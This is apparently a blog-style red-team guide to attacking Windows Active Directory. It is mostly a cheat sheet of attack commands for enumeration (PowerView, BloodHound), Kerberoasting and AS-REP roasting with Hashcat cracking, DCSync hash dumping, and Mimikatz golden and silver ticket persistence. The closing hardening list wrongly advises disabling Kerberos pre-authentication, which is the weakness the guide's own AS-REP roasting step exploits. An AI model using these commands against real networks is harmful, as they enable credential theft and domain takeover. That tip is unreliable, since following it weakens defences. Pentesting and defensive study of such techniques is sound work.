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Active Directory (AD) is the backbone of enterprise environments, and for red teamers, it’s the ultimate target. If you can control AD, you can control everything. This guide dives into enumeration, privilege escalation, and persistence techniques to dominate Windows environments.
You Should Know:
1. Enumeration Techniques
Before exploiting AD, you need to map it. Use these commands to gather critical information:
- PowerView (PowerShell)
Import-Module .\PowerView.ps1 Get-NetDomain Retrieve domain info Get-NetUser List all users Get-NetGroup List all groups Get-NetComputer List all computers
-
BloodHound (Graphical Mapping)
sudo apt install bloodhound neo4j console Start Neo4j database bloodhound Launch BloodHound UI
Use SharpHound to collect data:
Invoke-BloodHound -CollectionMethod All
2. Exploiting Weak Configurations
Common misconfigurations like Kerberoasting and AS-REP Roasting can be exploited:
- Kerberoasting (Extract Service Account Hashes)
GetUserSPNs.py -request -dc-ip <DC_IP> <DOMAIN>/<USER>
Crack hashes with Hashcat:
hashcat -m 13100 hashes.txt rockyou.txt
- AS-REP Roasting (Attack Users with Pre-Auth Disabled)
GetNPUsers.py <DOMAIN>/ -usersfile users.txt -no-pass
3. Privilege Escalation
- Abusing ACLs (Access Control Lists)
Find-InterestingDomainAcl | Where-Object {$_.IdentityReference -match "TargetUser"} -
DCSync Attack (Dump All Password Hashes)
secretsdump.py <DOMAIN>/<USER>@<DC_IP>
4. Persistence Techniques
-
Golden Ticket Attack
mimikatz kerberos::golden /user:Administrator /domain:<DOMAIN> /sid:<SID> /krbtgt:<KRBTGT_HASH> /ptt
-
Silver Ticket Attack
mimikatz kerberos::golden /user:ServiceUser /domain:<DOMAIN> /sid:<SID> /target:<TARGET_SERVER> /service:<SERVICE> /rc4:<SERVICE_HASH> /ptt
What Undercode Say
Active Directory is a goldmine for attackers if misconfigured. Mastering enumeration, exploitation, and persistence techniques is crucial for both red and blue teams. Always secure AD by:
– Disabling pre-authentication where unnecessary.
– Monitoring Kerberos ticket requests.
– Restricting DCSync permissions.
– Regularly auditing ACLs and Group Policies.
For further reading:
Expected Output:
Active Directory Pentesting: Mapping, Exploiting, and Owning the Network ...
References:
Reported By: Dharamveer Prasad – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
